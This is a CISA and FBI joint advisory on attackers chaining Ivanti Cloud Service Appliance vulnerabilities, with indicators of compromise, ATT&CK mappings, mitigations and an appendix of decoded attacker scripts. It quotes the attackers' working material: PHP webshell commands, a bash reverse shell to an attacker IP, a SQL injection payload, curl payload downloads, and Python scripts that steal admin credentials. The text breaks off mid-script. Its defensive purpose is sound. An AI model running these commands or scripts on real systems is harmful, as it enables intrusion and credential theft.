JOINT
CYBERSECURITY
ADVISORY

TLP:CLEAR

Co-Authored by:

Product ID: AA25-022A

January 22, 2025

Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications

Note: The CVEs in this advisory are unrelated to vulnerabilities (CVE-2025-0282 and CVE-2025-0283) in Ivanti's Connect Secure, Policy Secure and ZTA Gateways. For more information on mitigating CVE-2025-0282 and CVE-2025-0283, see Ivanti Releases Security Updates for Connect Secure, Policy Secure, and ZTA Gateways.

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory in response to exploitation in September 2024 of vulnerabilities in Ivanti Cloud Service Appliances (CSA): CVE-2024-8963, an administrative bypass vulnerability; CVE-2024-9379, a SQL injection vulnerability; and CVE-2024-8190 and CVE-2024-9380, remote code execution vulnerabilities.

According to CISA and trusted third-party incident response data, threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks. The actors' primary exploit paths were two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380 and the other exploited CVE-2024-8963 and CVE-2024-9379. In one confirmed compromise, the actors moved laterally to two servers.

All four vulnerabilities affect Ivanti CSA version 4.6x versions before 519, and two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect CSA versions 5.0.1 and below; according to Ivanti, these CVEs have not been exploited in version 5.0.[1]

Ivanti CSA 4.6 is End-of-Life (EOL) and no longer receives patches or third-party libraries. CISA and FBI strongly encourage network administrators to upgrade to the latest supported version of Ivanti CSA. Network defenders are encouraged to hunt for malicious activity on their networks using the detection

---

To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office or CISA's 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

methods and indicators of compromise (IOCs) within this advisory. Credentials and sensitive data stored within the affected Ivanti appliances should be considered compromised. Organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.

For a downloadable copy of IOCs, see:

- AA25-022A STIX XML (106KB)
- AA25-022A STIX JSON (77KB)

Table of Contents

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16. See the **MITRE ATT&CK Tactics and Techniques** section of this advisory for a table of the threat actors' activity mapped to MITRE ATT&CK tactics and techniques.

In September 2024, Ivanti released two Security Advisories disclosing exploitation of CVE-2024-8190 and CVE-2024-8963.[2][3] In October 2024, Ivanti released another advisory disclosing exploitation of CVE-2024-9379 and CVE-2024-9380.[1]

- CVE-2024-8963 [CWE-22: Path Traversal] is an administrate bypass vulnerability that allows threat actors to remotely access restricted features within the appliance. When used in conjunction with CVE-2024-8190 [CWE-78: OS Command Injection], threat actors can remotely authenticate into a victims' network and execute arbitrary commands on the appliance [T1219].[2][3]
- CVE-2024-9379 [CWE-89: SQL Injection] allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.[1]
- CVE-2024-9380 [CWE-77: Command Injection] allows a remote authenticated attacker with admin privileges to obtain RCE.[1]

According to Ivanti's advisories and industry reporting, these vulnerabilities were exploited as zero days.[4] Based on evidence of active exploitation, CISA added CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 to its Known Exploited Vulnerabilities (KEV) Catalog.

According to CISA and trusted third-party incident response data, threat actors chained the above listed vulnerabilities to gain initial access, conduct RCE, obtain credentials, and implant webshells on victim networks. The primary exploit paths included two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380. The other chain exploited CVE-2024-8963 and CVE-2024-9379. After exploitation, the actors moved laterally in one victim—other victims had no follow-on activity because they identified anomalous activity and implemented mitigation measures.

Exploit Chain 1

The threat actors leveraged CVE-2024-8963 in conjunction with remote code execution vulnerabilities, CVE-2024-8190 and CVE-2024-9380. Acting as a `nobody` user [T1564.002], the threat actors first sent a `GET` request to `datetime.php` to acquire session and cross-site request forgery (CSRF) tokens using `GET /client/index.php%3F.php/gsb/datetime[.]php` [T1071.001]. They followed this in quick succession with a `POST` request to the same endpoint, using the `TIMEZONE` input field to manipulate the `setSystemTimeZone` function and execute code. In some confirmed compromises, the actors used this method to run base64-encoded Python scripts that harvested encrypted admin credentials from the database [T1552.001]. **Note:** The actors used multiple script variations. See **Appendix A** for examples of encoded and decoded scripts.

In some cases, the threat actors exfiltrated the encrypted admin credentials then decrypted them offline [TA0010]. In other cases, the threat actors leveraged an executable matching the regular expression `php\w{6}` located in the /tmp directory to decrypt the credentials prior to exfiltration—this tool was unrecoverable.

After obtaining credentials, the actors logged in and exploited CVE-2024-9380 to execute commands from a higher privileged account. The actors successfully sent a `GET` request to `/gsb/reports[.]php`. They immediately followed this with a `POST` request using the `TW_ID` input field to execute code to implant webshells for persistence [T1505.003].

In one confirmed compromise, the threat actors tried to create webshells using two different paths:

- `echo "<?php system(@ \$_REQUEST['a']);">/opt/ivanti/csa/broker/webroot/client/help.php`
- `echo "<?php system('/bin/sudo '. @ \$_REQUEST['a']);" > /opt/landesk/broker/webroot/gsb/help.php`

In the same compromise, the actors used the exploit to execute the following script to create a reverse Transmission Control Protocol command and control (C2) channel: `bash -i >&/dev/tcp/107.173.89[.]16/8000 0>&1`.

In another compromise, the threat actors maintained their presence on the victim's system for a longer amount of time. The threat actors used `sudo` commands to disable the vulnerability in `DateTimeTab.php`, modify and remove webshells, and remove evidence of exploitation [T1548.003]. See **Appendix B** for the list of `sudo` commands used.

Lateral Movement

In one case, there was evidence of lateral movement after the threat actors gained access and established a foothold through this exploit chain. It is suspected that the threat actors gained access into a Jenkins server running a vulnerable, outdated version [T1068]. Logs on the Jenkins machine showed that a command in the bash history contained credentials to the postgres server. The threat actors then attempted to log into the Virtual Private Network (VPN) server but were unsuccessful. Prior to moving laterally, the actors likely performed discovery on the CSA device using Obelisk and GoGo to scan for vulnerabilities [T1595.002].

Exploit Chain 2

In one confirmed compromise, the actors used a similar exploit chain, exploiting CVE-2024-8963 in conjunction with CVE-2024-9379, using `GET /client/index.php%3f.php/gsb/broker.php` for initial access.

After the threat actors gained initial access, they attempted to exploit CVE-2024-9379 to create a webshell to gain persistent access. They executed `GET` and `POST` requests in quick succession to `/client/index.php%3F.php/gsb/broker.php`. In the `POST` body, threat actors entered the following string in the lockout attempts input box: `LOCKOUTATTEMPTS = 1 ;INSERT INTO user_info(username, accessed, attempts) VALUES ('''echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>/.k''', NOW(), 10)`. The first portion of the command `(LOCKOUTATTEMPTS=1)` fit the format of the application and was properly handled by the application. However, the second portion of the command, a SQL injection [T1190], was not properly handled by the

application. Regardless, the application processed both commands, allowing the threat actors to insert a user into the `user_info` table.

After inserting valid bash code as a user in the `user_info` table, the threat actors attempted to login as the user. The authoring agencies believe the threat actors knew this login would fail but were attempting to coerce the application into handling the bash code improperly. In this attempt, the application did not evaluate the validity of the login, but instead ran `echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>./k` as if it were code. The threat actors repeated the process of echo commands until they built a valid web shell [T1059]. However, there were no observations that the threat actors were successful.

Detection of Activity

According to incident response data from three victim organizations, the actors were unsuccessful with follow-on activity due to the organizations' rapid detection of the malicious activity. To remediate exploitation, all three organizations replaced the virtual machines with clean and upgraded versions.

Victim Organization 1

The first organization detected malicious activity early in the exploitation. A system administrator detected the anomalous creation of user accounts. After investigation, the organization remediated the incident. While it is likely admin credentials were exfiltrated, there were no signs of lateral movement.

Victim Organization 2

This organization had an endpoint protection platform (EPP) installed on their system that alerted when the threat actors executed base64 encoded script to create webshells. There were no indications of webshells successfully being created or of lateral movement.

Victim Organization 3

This organization leveraged the IOC findings from the other two victim sites to quickly detect malicious activity. This threat activity included the download and deployment of Obelisk and GoGo Scanner, which generated a large number of logs. The organization used these logs to identify anomalous activity.

Indicators of Compromise

See **Table 1** through **Table 3** for IOCs related to the threat actors' exploitation of CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 in Ivanti CSA.

Disclaimer: Some IP addresses in this cybersecurity advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action, such as blocking. Activity should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.

Table 1: IP Address Used for Credential Theft, September 2024

File Name	IP Address	Description
"/client/index.php%3f.php/gsb/datetime.php	142.171.217[.]195	/var/log/messages
"/client/index.php%3f.php/gsb/datetime.php	154.64.226[.]166	/var/log/messages-20240904.gz
"/client/index.php%3f.php/gsb/datetime.php	216.131.75[.]53	
"/client/index.php%3f.php/gsb/datetime.php	23.236.66[.]97	/var/log/messages-20240905.gz
"/client/index.php%3f.php/gsb/datetime.php	38.207.159[.]76	/var/log/messages-20240906.gz

Table 2: Survey 2, Ivanti CSA Network IOC List, September 2024

File Name	IP Address	Description
	149.154.167[.]41	
	95.161.76[.]100	
hxxps://file.io/E50vtqmJP5aa		
hxxps://file.io/RBKuU8gicWt		
hxxps://file.io/frdZ9L18R7Nx		
hxxp://ip.sb		
hxxps://pan.xj.hk/d/6401646e701f5f47518ecef48a308a36/redis		
	142.171.217[.]195	
	108.174.199[.]200	
	206.189.156[.]69	
	108.174.199[.]200/Xa27efd2.tmp	
	142.171.217[.]195	

Table 3: Additional IOCs Derived from Incident Response, September 2024

Type	IOC	Description
Ipv4	107.173.89[.]16	
Ipv4	38.207.159[.]76	
Ipv4	142.171.217[.]195	
Ipv4	154.64.226[.]166	
Ipv4	156.234.193[.]18	
Ipv4	216.131.75[.]53	
Ipv4	205.169.39[.]11	
Ipv4	23.236.66[.]97	
Ipv4	149.154.176[.]41	
Ipv4	95.161.76[.]100	
Ipv4	142.171.217[.]195	
Ipv4	108.174.199[.]200	
Ipv4	206.189.156[.]69	
Ipv4	142.171.217[.]195	
Ipv4	67.217.228[.]83	
Ipv4	203.160.72[.]174	
Ipv4	142.11.217[.]3	
Ipv4	104.168.133[.]228	
Ipv4	64.176.49[.]160	
Ipv4	45.141.215[.]17	
Ipv4	142.171.217[.]195	
Ipv4	98.101.25[.]30	

Type	IOC	Description
Ipv4	216.131.75[.]53	
Ipv4	134.195.90[.]71	
Ipv4	23.236.66[.]97	
Hash	a50660fb31df96b3328640fdfbeea755	
Hash	53c5b7d124f13039eb62409e1ec2089d	
Hash	698a752ec1ca43237cb1dc791700afde	
Hash	aa69300617faab4eb39b789ebfeb5abe	
Hash	c2becc553b96ba27d60265d07ec3bd6c	
Hash	c7d20ca6fe596009afaeb725fec8635f	/opt/landesk/broker/webroot/gsb/help.php
Hash	cacc30e2a5b2683e19e45dc4f191cebc	/opt/ivanti/csa/broker/webroot/client/help.php
Hash	061e5946c9595e560d64d5a8c65be49e	/opt/landesk/broker/webroot/gsb/view.php
Hash	e35cf026057a3729387b7ecfb213ae 62a611f0f1a418876b11c9df3b56885bed	/tmp/brokerdebug
Hash	F7F81AE880A17975F60E1E0FE1A4048B	/opt/landesk/broker/webroot/gsb/DateTimeTab.php
Hash	86B62FFD33597FD635E01B95F08BB996	/opt/landesk/broker/webroot/gsb/style.php
Hash	DD975310201079CACD4CDE6FACAB8C1D	/opt/landesk/broker/webroot/client/index.php
Hash	1B20E9310CA815F9E2BD366FB94E147F	/sbin/systemd Configuration file at /WpService.conf
Hash	30f57e14596f1bcad7cc4284d1af4684	/sbin/systemd Configuration file at /WpService.conf

Type	IOC	Description
URL	hxxps://file.io/E50vtqmJP5aa	
URL	hxxps://file.io/RBKuU8gicWt	
URL	hxxps://file.io/frdZ9L18R7Nx	
URL	hxxp://ip.sb	
URL	hxxps://pan.xj.hk/d/6401646e701f5f47518ecef48a308a36/redis	
URL	108.174.199.200/Xa27efd2.tmp	
URL	45.33.101.53/log	
URL	45.33.101.53/log2	
URL	208.184.237.75/fdsupdate	
URL	173.243.138.76/fdsupdate	
URL	cri07nnrg958pkh6qhk0977u8c83jog6t.oast[.]fun	
URL	cri07nnrg958pkh6qhk0yrgy1e76p1od6.oast[.]fun	
domain	gg.oyr2ohrm.eyes[.]sh	
domain	ggg.oyr2ohrm.eyes[.]sh	
domain	gggg.oyr2ohrm.eyes[.]sh	
domain	txt.xj[.]hk	
domain	book.hacktricks[.]xyz	
host	sh -c setsid /dev/shm/redis &	
host	sh -c curl -k https://file[.]io/1zqvMYY1dpkk -o /dev/shm/redis2	

Type	IOC	Description
host	sh -c mv /dev/shm/redis2 /dev/shm/redis	
host	sh -c rm /dev/shm/*	
host	rm /dev/shm/PostgreSQL.1014868572 /dev/shm/redis	
host	78cc672218949a9ec87407ad3bcb5db6	Agent.zip
host	d13f71e51b38ffef6b9dc8efbed27615	Log.log
host	d88bfac2b43509abdc70308bef75e2a6	Log.exe
host	R.exe (MD5: 60d5648d35bacf5c7aa713b2a0d267d3)	R.exe
host	ae51c891d2e895b5ca919d14edd42c26	CAService.exe
host	d88bfac2b43509abdc70308bef75e2a6	Lgfxsys.exe
host	f82847bccb621e6822a3947bc9ce9621	NetIO.cfg
host	c894f55c8fa9d92e2dd2c78172cff745	XboVFyKw.tmp
host	MD5: Unknown	Wi.bat
host	MD5: Unknown	dCUgGXfm.tmp
host	MD5: Unknown	DijZViHC.tmp
CrowdStrike Falcon	e09fef2f502a41c199046219a6584e8d	CrowdStrike falcon cid
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/ln -sf	

Type	IOC	Description
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/mv /tmp/php.ini /etc/php.ini	
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/sbin/hwclock --localtime --systohc	
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/backuptool --fullList	
Ipv4	142.171.217[.]195	
Ipv4	107.173.89[.]16	
Ipv4	192.42.116[.]210	
Ipv4	82.197.182[.]161	
Ipv4	154.213.185[.]230	
Ipv4	216.131.75[.]53	
Ipv4	23.236.66[.]97	
Ipv4	208.105.190[.]170	
Ipv4	136.144.17[.]145	
Ipv4	136.144.17[.]133	
Ipv4	216.73.162[.]56	
Ipv4	104.28.240[.]123	
Ipv4	163.5.171[.]49	

Type	IOC	Description
Ipv4	89.187.178[.]179	
Ipv4	163.5.171[.]49	
Ipv4	203.160.86[.]69	
Ipv4	185.220.69[.]83	
Ipv4	185.199.103[.]196	
Ipv4	188.172.229[.]15	
Ipv4	155.138.215[.]144	
Ipv4	64.176.49[.]160	
Ipv4	185.40.4[.]38	
Ipv4	216.131[.]75.53	
Ipv4	185.40.4[.]95	

MITRE ATT&CK Tactics and Techniques

See **Table 4** to **Table 13** for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK's Best Practices for MITRE ATT&CK Mapping and CISA's Decider Tool.

Table 4: Reconnaissance

Technique Title	ID	Use
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors performed reconnaissance by using Obelisk and GoGo to scan for vulnerabilities.

Table 5: Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Threat actors leveraged weaknesses in applications that are not properly handled to compromise network device protocols, perform SQL injections, and generally exploit applications.

Table 6: Execution

Technique Title	ID	Use
Command and Scripting Interpreter	T1059	Threat actors abused command and script interpreters to execute commands, scripts, or binaries.

Table 7: Persistence

Technique Title	ID	Use
Modify Authentication Process	T1556	Threat actors executed an authentication bypass by exploiting the authentication mechanisms of a device to gain access to organizations' networks.
Server Software Component: Web Shell	T1505.003	Threat actors executed code to implant webshells for persistence.

Table 8: Privilege Escalation

Technique Title	ID	Use
Exploitation for Privilege Escalation	T1068	Threat actors leveraged weaknesses to gain access via an outdated, vulnerable version of a server.

Table 9: Defense Evasion

Technique Title	ID	Use
Hide Artifacts: Hidden Users	T1564.002	Threat actors acted as a hidden user to disguise their presence on a system.
Deobfuscate/Decode Files or Information	T1140	Threat actors decrypted credentials prior to exfiltration by leveraging native tools located in the extracted backup file.
Abuse Elevation Control Mechanism: Sudo and Sudo Caching	T1548.003	Threat actors used sudo commands to disable vulnerabilities, modify and remove webshells, and remove evidence of exploitation.

Table 10: Credential Access

Technique Title	ID	Use
Unsecured Credentials: Credentials in Files	T1552.001	Threat actors harvested encrypted admin credentials to gain further access.

Table 11: Lateral Movement

Technique Title	ID	Use
Exploitation of Remove Services	T1210	Threat actors exploited CSAs via remote services to gain access to an organization's networks by leveraging programming errors, EOL systems, and operating systems.

Table 12: Command and Control

Technique Title	ID	Use
Remote Access Software	T1219	Threat actors attempted to remotely authenticate into a victim's network and execute arbitrary commands on the appliance.
Application Layer: Web Protocol	T1071.001	Threat actors used tools such as `GET` or `POST` requests to acquire session and CSRF tokens.

Table 13: Exfiltration

Technique Title	ID	Use
Exfiltration	TA0010	Threat actors exfiltrated encrypted admin credentials or other encrypted data for future use.

Incident Response

If compromise is detected, the authoring agencies recommend that organizations:

1. Quarantine or take offline potentially affected hosts.
2. Reimage compromised hosts.
3. Provision new account credentials.
4. For Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol and AD.

5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
   Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
6. Report the compromise to CISA via CISA's 24/7 Operations Center (report@cisa.gov or 888-282-0870).

Mitigations

CISA and FBI recommend organizations:

- **Upgrade to the latest supported version of Ivanti CSA immediately** for continued support.[3] Please note that Ivanti CSA 4.6 is EOL and no longer receives patches or third-party libraries. Customers must upgrade to the latest version of the product for continued support.
- **Install endpoint detection and response (EDR) on the system to alert network defenders on unusual and potentially malicious activity.**
- **Establish a baseline and maintain detailed logs of network traffic, account behavior, and software.** This can assist network defenders in identifying anomalies that may indicate malicious activity more quickly.
- **Keep all operating systems, software, and firmware up to date.** Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
- **Secure remote access tools by:**
  - Implementing application controls to manage and control software execution, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
- **Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services.** If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  - Audit the network for systems using RDP.
  - Close unused RDP ports.
  - Enforce account lockouts after a specified number of attempts.
  - Apply phishing-resistant multifactor authentication (MFA).
  - Log RDP login attempts.
- Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.

- **Follow best cybersecurity practices in your production and enterprise environments,** including mandating phishing-resistant multifactor authentication (MFA) for all staff and services. For additional best practices, see CISA's Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common tactics, techniques, and procedures. Because the CPGs are a subset of best practices, CISA and FBI also recommend software manufacturers implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF).

Validate Security Controls

In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see **Table 4** through **Table 13**).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies' performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

References

[1] Ivanti: Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)

[2] Ivanti: Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)

[3] Ivanti: Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)

[4] Fortinet: Burning Zero Days: Suspected Nation-State Adversary Targets Ivanti CSA

Contact Information

Organizations are encouraged to report suspicious or criminal activity related to information in this advisory to:

- CISA via CISA's 24/7 Operations Center (report@cisa.gov or 888-282-0870) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

Disclaimer

The information in this report is being provided "as is" for informational purposes only. CISA and FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and FBI.

Version History

January 22, 2025: Initial version.

Appendix A: Encoded and Decoded Scripts

Decoded Python Scripts

```
{
import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
    if t and m:
        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
    else:
        msg = ''
    os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
    r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
    r = None
with open("/opt/landesk/broker/broker.conf") as f:
    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]
if r:
    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin'\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
    os.system("tar zxvf {}".format(r))
    while True:
        for f in os.listdir('.'):
            if re.match("php\w{6}", f):
                os.chmod(f, 0o777)
                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
                if m:
                    set_msg(dbpwd, "PASSWORD", m)
                    time.sleep(30)
                    set_msg(dbpwd)
                    exit()
else:
    set_msg(dbpwd, 'ERROR', 'NO BACKUP')
}
```

```
{
import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
```

```
    if t and m:
        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
    else:
        msg = ''
    os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='service'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
    r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
    r = None
with open("/opt/landesk/broker/broker.conf") as f:
    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]
if r:
    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'service'\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
    os.system("tar zxvf {}".format(r))
    while True:
        for f in os.listdir('.'):
            if re.match("php\w{6}", f):
                os.chmod(f, 0o777)
                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
                if m:
                    set_msg(dbpwd, "PASSWORD", m)
                    time.sleep(30)
                    set_msg(dbpwd)
                    exit()
else:
    set_msg(dbpwd, 'ERROR', 'NO BACKUP')
}
```

```
import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
    if t and m:
        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
    else:
        msg = ''
    os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
    r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
```

```
except:
    r = None
with open("/opt/landesk/broker/broker.conf") as f:
    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]
if r:
    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
    os.system("tar zxvf {}".format(r))
    while True:
        for f in os.listdir('.'):
            if re.match("php\w{6}", f):
                os.chmod(f, 0o777)
                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
                if m:
                    set_msg(dbpwd, "PASSWORD", m)
                    time.sleep(30)
                    set_msg(dbpwd)
                    exit()
else:
    set_msg(dbpwd, 'ERROR', 'NO BACKUP')
```

```
import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
    if t and m:
        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
    else:
        msg = ''
    os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
    r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
    r = None
with open("/opt/landesk/broker/broker.conf") as f:
    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]
if r:
    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
    os.system("tar zxvf {}".format(r))
    while True:
        for f in os.listdir('.'):
```

```
            if re.match("php\w{6}", f):
                os.chmod(f, 0o777)
                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f,
p[4], p[5], p[6], p[1], p[1])).read().strip()
                if m:
                    set_msg(dbpwd, "PASSWORD", m)
                    time.sleep(30)
                    set_msg(dbpwd)
                    exit()
else:
    set_msg(dbpwd, 'ERROR', 'NO BACKUP')
```

```
{
import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
    if t and m:
        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
    else:
        msg = ''
    os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}',lockoutalert=0,attempts=0 where username='admin'"|psql -d
brokerdb -U gsbadmin'''.format(p, msg))

with open("/opt/landesk/broker/broker.conf") as f:
    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]

    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE
username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip()
    v = p.split(':')
    k = os.popen('base 64 -w0 root/.certs/{}.key'.format(v[1])).read()
    set_msg(dbpwd, "PASSWORD", p+'||'+k)
    time.sleep(30)
    set_msg(dbpwd)
}
```

```
{
import os, re, base64, time

def set_msg(p, t='', m=''):
    if t and m:
        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
    else:
        msg = ''
```

```
    os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}',lockoutalert=0 where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))

os.chdir("/tmp")
d = "/backups"
try:
    r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
    r = None
with open("/opt/landesk/broker/broker.conf") as f:
    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]
    os.system('''export PGPASSWORD={};echo "delete from user_info where
runas='Nobody'"|psql -d brokerdb -U gsbadmin'''.format(dbpwd))
    if r:
        p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info
WHERE username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
        os.system("tar zxvf {}".format(r))
        while True:
            for f in os.listdir('.'):
                if re.match("php\w{6}", f):
                    os.chmod(f, 0o777)
                    m = os.popen("./{} '{}' '{}' '{}' root/.certs/{}.key
{}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
                    if m:
                        set_msg(dbpwd, "PASSWORD", m)
                        time.sleep(30)
                        set_msg(dbpwd)
                        exit()
    else:
        set_msg(dbpwd, 'ERROR', 'NO BACKUP')
}
```

```
{
import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, t='', m=''):
    if t and m:
        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())
    else:
        msg = ''
    os.system('''export PGPASSWORD={};echo "update user_info set
organization='{}' where username='admin'"|psql -d brokerdb -U
gsbadmin'''.format(p, msg))
try:
```

```
    r = max([os.path.join(d, f) for f in os.listdir(d) if
os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
    r = None
with open("/opt/landesk/broker/broker.conf") as f:
    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]
    os.system('''export PGPASSWORD={};echo "delete from user_info where
runas='Nobody'"|psql -d brokerdb -U gsbadmin'''.format(dbpwd))
if r:
